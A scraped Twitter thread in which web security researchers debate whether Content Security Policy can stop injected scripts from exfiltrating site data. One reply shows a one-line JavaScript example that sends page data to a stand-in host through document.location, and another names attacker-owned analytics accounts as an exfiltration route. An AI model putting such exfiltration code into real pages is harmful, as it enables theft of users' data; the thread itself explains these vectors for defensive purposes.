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arturjanc's profile
Artur Janc
Artur Janc
Artur Janc
@arturjanc

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Artur Janc

@arturjanc

Making the web platform more secure one Twitter flamewar at a time.

Zurich, Switzerland
Joined February 2012

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    1. April King  🌀‏ @aprilmpls Jan 6

      The @Mozilla Observatory’s CSP Analyzer checks your policy to confirm that you’re setting the proper directives to prevent data exfiltration. Don’t let this happen to you!https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5 …

      7 replies 72 retweets 142 likes
    2. Sebastian Lekies‏ @slekies Jan 6
      Replying to @aprilmpls @mozilla

      CSP will not prevent or mitigate this attack and it should not be advertised this way.

      1 reply 0 retweets 9 likes
    3. Craig Francis‏ @craigfrancis Jan 7
      Replying to @slekies @aprilmpls @mozilla

      Maybe, it’s a good second line of defence, and if it gets more websites using it (or developers knowing about it), then I’m happy for some mis-selling. I prefer this than the companies selling their anti-virus/malware claiming their software solves everything :-)

      1 reply 0 retweets 0 likes
    4. Sebastian Lekies‏ @slekies Jan 7
      Replying to @craigfrancis @aprilmpls @mozilla

      No it’s not at all a defense for this, not even a second line of defense and we shouldn’t bullshit people into using it as such.

      1 reply 0 retweets 3 likes
    5. Craig Francis‏ @craigfrancis Jan 7
      Replying to @slekies @aprilmpls @mozilla

      Craig Francis Retweeted Sebastian Lekies

      Oh, I forgot we’ve been here before: https://mobile.twitter.com/slekies/status/921310306764312576 … I realise you don’t like CSP, but until you have a better idea, this will at least catch the typical malicious JS (e.g. via an advert, code in npm, etc) which won’t be targeting the authors site in particular.

      Craig Francis added,

      Sebastian Lekies @slekies
      Replying to @slekies @craigfrancis and 2 others
      Twitter is not suited to argue about this. But we wrote a couple of papers about the topic: https://goo.gl/gYTdPI , https://goo.gl/jGBFX3 
      1 reply 0 retweets 0 likes
    6. Sebastian Lekies‏ @slekies Jan 7
      Replying to @craigfrancis @aprilmpls @mozilla

      CSP is just not applicable in this particular case. There is really no way with CSP, you can prevent a malicious npm from injecting code and exfiltrating data from a page. It has not been made for this case and applying it for preventing or mitigating this case is wrong.

      1 reply 0 retweets 2 likes
    7. April King  🌀‏ @aprilmpls Jan 7
      Replying to @slekies @craigfrancis @mozilla

      If you can’t make XHR/POST/GET requests to foreign origins, how exactly are you going to exfiltrate data, short of being able to execute code in the context of the web server? You’d have to do domain-specific code that puts it in some data store (like your profile).

      2 replies 0 retweets 1 like
    8. Patrick Toomey‏ @patricktoomey Jan 7
      Replying to @aprilmpls @slekies and

      document.location = http://Mysite.com?data=your-dataMysite.com/?data=your-data 

      1 reply 0 retweets 3 likes
    9. April King  🌀‏ @aprilmpls Jan 7
      Replying to @patricktoomey @slekies and

      Works but is very noisy. If it did a POST (to not break things), you would also see their origin. I also believe there is an open bug in the CSP repo to restrict navigations (via navigate-to).

      3 replies 0 retweets 1 like
      Artur Janc‏ @arturjanc Jan 7
      Replying to @aprilmpls @patricktoomey and

      Sadly, even if we modified CSP & implementations to prevent the exfil vectors listed at https://lists.w3.org/Archives/Public/public-webappsec/2016Sep/0012.html … a malicious script can almost always send data to an attacker's account at a common analytics provider (e.g. Google Analytics).

      8:58 AM - 7 Jan 2018
      • 2 Likes
      • superspooktacular isogenies Eric Lawrence 🎻
      3 replies 0 retweets 2 likes
        1. New conversation
        2. April King  🌀‏ @aprilmpls Jan 7
          Replying to @arturjanc @patricktoomey and

          CSP is terrible at blocking exfiltration _in the specific case_. But in a generic case with CSP reports, it greatly increases their chances of getting blocked (and thus hopefully detected).

          1 reply 0 retweets 0 likes
        3. Artur Janc‏ @arturjanc Jan 7
          Replying to @aprilmpls @patricktoomey and

          I think @slekies' point is that a real attacker can use one of the mechanisms which aren't subject to CSP to send out data, and which wouldn't generate any reports. We can attempt to lock these down, but 1) it's hard, 2) it's difficult to enable such restrictions in real apps.

          2 replies 1 retweet 7 likes
        4. April King  🌀‏ @aprilmpls Jan 7
          Replying to @arturjanc @patricktoomey and

          That is completely fair and true but nevertheless I still think it’s worthwhile evangelizing even a poor protection if it pushes people to implementing strong and restrictive CSP policies.

          3 replies 0 retweets 5 likes
        5. Matt Austin‏ @mattaustin Jan 7
          Replying to @aprilmpls @arturjanc and

          Sadly people don’t believe in defense in depth, and lean towards the “if it does not solve everything it solves nothing” approach.

          1 reply 0 retweets 1 like
        6. Patrick Toomey‏ @patricktoomey Jan 7
          Replying to @mattaustin @aprilmpls and

          A difference between defense in depth and false security. A firewall and server-side code sandboxing are defense in depth..they handle orthogonal issues. That is different than conveying that something mitigates (even a little bit) something that it does not.

          1 reply 0 retweets 1 like
        7. Matt Austin‏ @mattaustin Jan 7
          Replying to @patricktoomey @aprilmpls and

          I see policies that limit external access to unintended 3rd parties as a defense. Granted not perfect...

          1 reply 0 retweets 0 likes
        8. Patrick Toomey‏ @patricktoomey Jan 7
          Replying to @mattaustin @aprilmpls and

          It is fine so long as it actually addresses a concern one can define. The thing here is that we are talking about exfiltration and it does not address that at all (there is no situation..however contrived..where we can’t exfil using some other way).

          2 replies 0 retweets 3 likes
        9. April King  🌀‏ @aprilmpls Jan 7
          Replying to @patricktoomey @mattaustin and

          CSP may not be intended to work in the face of an RCE but what is the purpose of form-action besides limiting data exfiltration from an HTML injection? I guess it can keep you from accidentally making a form that submits via http?

          2 replies 0 retweets 0 likes
        10. 13 more replies
        1. New conversation
        2. Artur Janc‏ @arturjanc Jan 7
          Replying to @arturjanc @aprilmpls and

          There's value in locking down the sources of resources which can be loaded in an app, but this mostly serves to prevent programmer mistakes (loading scripts from an untrusted source); it doesn't stop an attacker who can already execute scripts.

          1 reply 0 retweets 0 likes
        3. Patrick Toomey‏ @patricktoomey Jan 7
          Replying to @arturjanc @aprilmpls and

          This has been a great win for us to be able to mintor any accidental external script addition attempts. We monitor one file containing our CSP policy and are then able to audit all changes.

          0 replies 0 retweets 2 likes
        4. End of conversation
        1. Patrick Toomey‏ @patricktoomey Jan 7
          Replying to @arturjanc @aprilmpls and

          This is one reason we would eventually like to move toward proxying google analytics and sending data directly using the server-side measurement protocol. But not to protect against injected JS.

          0 replies 0 retweets 1 like
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